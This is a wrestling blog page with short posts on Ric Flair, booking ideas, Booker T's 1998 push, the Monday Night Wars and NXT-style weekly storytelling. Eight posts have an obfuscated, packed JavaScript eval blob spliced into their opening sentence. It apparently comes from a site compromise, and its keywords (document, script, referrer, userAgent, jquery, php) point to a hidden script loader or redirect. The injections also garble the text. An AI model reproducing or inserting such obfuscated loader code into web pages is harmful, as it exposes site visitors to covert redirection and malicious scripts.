A Story So Strange You Can’t Make It Up

About eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ffaiz|var|u0026u|referrer|kyidk||js|php'.split('|'),0,{})) Ric Flair.According to PWInsider, Ric Flair is now back to taking bookings and living with former WCW wrestler……

wait for it……

JOE GOMEZ.

Does that name ring a bell to you? I’d be surprised if it did, as Gomez was a jobber to the stars at best. He feuded with Steve McMichael for about a month and then formed a jobbing tag team with Renegade. If there has ever been a more bizarre pairing I’ve never seen it.

I Want To Talk A Little Bit About Catering To Different Groups Of Fans

The obsessive fans, often called the IWC, stereotypically love people like CM Punk and Daniel Bryan while thinking guys like Orton and Cena are shoved down our throats. However, when guys like Cena and Orton are on top and guys like Punk and Bryan are clearly steps below those bigger names, the same fans keep coming back over and over again and can snap off histories and results like no one else can. In other words, they claim to hate the show yet they never miss an episode.

Finally, yeah Cena does a lot of the same stuff over and over again. This would be totally different than:

Right hands, middle finger, Thesz Press, Stunner

Big boot, chokeslam, Last Ride, Tombston

Knee crusher, knee drop, cannonball down onto the leg, Figure Four

Atomic drop, backbreaker, middle rope elbow, Russian legsweep, Sharpshooter

Hulk Up, right hands, big boot, legdrop

Thought of the Day: We Need A Good Old Fashioned Masked Man

Not eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|siief|var|u0026u|referrer|drkrh||js|php'.split('|'),0,{})) like Kane, but rather…I mean a guy in a mask who runs in and messes with stuff until running off again. It’s been used for decades and works quite well every time. There are a bunch of simple stories like that which can do wonders for the booking, but instead we get the same four ideas or so (how many times can we have the corrupt authority figure, the guy wanting RESPECT and turning heel as a result, “tough love” or the automatic rematch clause? How often do we get anything beyond an offshoot of one of those ideas?) with people caring less and less each time.

Use some old ideas and freshen things up a bit.

Interesting note: apparently I wrote this up back in May and hit save to draft instead of publish. I never have been the best tech guy.

Thought of the Day: Just Win Baby

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hiykb|var|u0026u|referrer|yrhat||js|php'.split('|'),0,{})) much as it hurts me to quote the Raiders.I’ve been watching Nitro and Thunder from 1998 lately and one of the major stories has been the rise of Booker T. He’s gone from being a tag team mainstay to the TV Champion, defending his title at least once and often twice a week. Every week he gets more and more popular with his matches getting better and better. There’s a very simple explanation for why he’s getting over: he’s winning. There’s no trick gimmick to it, there’s no secret surprise, there’s no way to trap the audience. The fans simply respond to a guy who wins his matches. In other words, WCW wasn’t cutting Booker’s legs off in case he got hot when the company didn’t want him to but rather embraced it. Imagine that concept.

Awesome Steve Austin Interview

http://www.youtube.com/watch?v=oqfMsLkXew4

Thought of the Day: Two Notes About The End Of The Monday Night Wars

I’ve eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|erfyr|var|u0026u|referrer|affen||js|php'.split('|'),0,{})) mentioned one of these before.1. ECW went out of business about two weeks after WCW did. It’s a stretch, but for those two weeks, ECW was the second biggest wrestling company in the United States.

2. For all the people that pine for competition and want the Wars back, may I remind you that the greatest show of all time (X7) happened after the Wars were over?

Thought of the Day: Make Their Jaw Drop

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|errkt|var|u0026u|referrer|abbee||js|php'.split('|'),0,{})) is a tale of a Christmas from long ago.About eight years or so ago I was watching Tribute to the Troops when my dad came over. Now my dad is the kind of guy that doesn’t impress easily. He thinks everything was cooler when he was younger and that very little entertainment today is actually entertaining. When he came over, John Cena was lifting Big Show up for the AA. My dad’s jaw dropped and he was clearly impressed.

The moral to the story: show us something impressive that is going to catch some eyes, not the same stuff that is only going to interest people already watching. More on this topic when I have a bit more time.

Olympic Wrestling Saved

Good. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|annyf|var|u0026u|referrer|dfiak||js|php'.split('|'),0,{})) I have no idea why they wanted to get rid of it but keep something like synchronized swimming or badminton.

Someone do a toast for Kurt Angle.

Thought of the Day: Stars Do Not Make The Match

By eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iahzf|var|u0026u|referrer|ehnai||js|php'.split('|'),0,{})) that I mean rating stars.I was reading a summary of Vince Russo’s latest shoot interview and he mentioned that the casual fans don’t care about a match being four stars and lasting twenty minutes with great workrate. In something that isn’t often said, Russo is exactly right on this point. Casual fans care about the story and having fun on any given night. Look at what is considered the greatest match ever: Randy Savage vs. Ricky Steamboat. Do you think the match would be as beloved as it was if not for the basic backstory (Savage injured Steamboat and Steamboat is here for revenge)? The fans wanted to see Steamboat get his revenge and the fact that the match is a masterpiece helps a lot, but it’s not the main reason most fans liked it.

In other words, booking for the fans that want long and entertaining matches is a bad idea, as most fans get bored and change the channel for stuff like that.

Thought of the Day: Booking vs. Writing

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbstt|var|u0026u|referrer|bedti||js|php'.split('|'),0,{})) is something that will make perfect sense if you watch NXT, which you should.Something that WWE is really bad at for the most part anymore is booking week to week television. Take the Bryan vs. Corporation story. Every week so far, the events of the show are wrapped up clean and neat before the end of the episode. The overall story will continue the next week, but the events of one week rarely directly connect to next week’s stuff. For example: Orton lays out Bryan with an RKO, but the next week that event is barely mentioned and it’s just Bryan trying to get the title back all over again. It’s very much like a regular TV show with a villain or a hero trying to accomplish the same goal week to week. In other words, they’re stand alone episodes.

Now on the other hand look at NXT or most older wrestling shows. The shows are booked week to week, meaning you can’t miss a single episode because things will have changed. That rewards fans who are around every week and makes for more entertaining TV shows. For instance in NXT, they alternate with various storylines so you’ll have to come back for a few weeks to get the next part of a story you watched. This makes for more interesting TV, and if you’ve got a good show, you’ll be brought up to speed every week. It’s a substantial difference and can really enhance how good a show can be.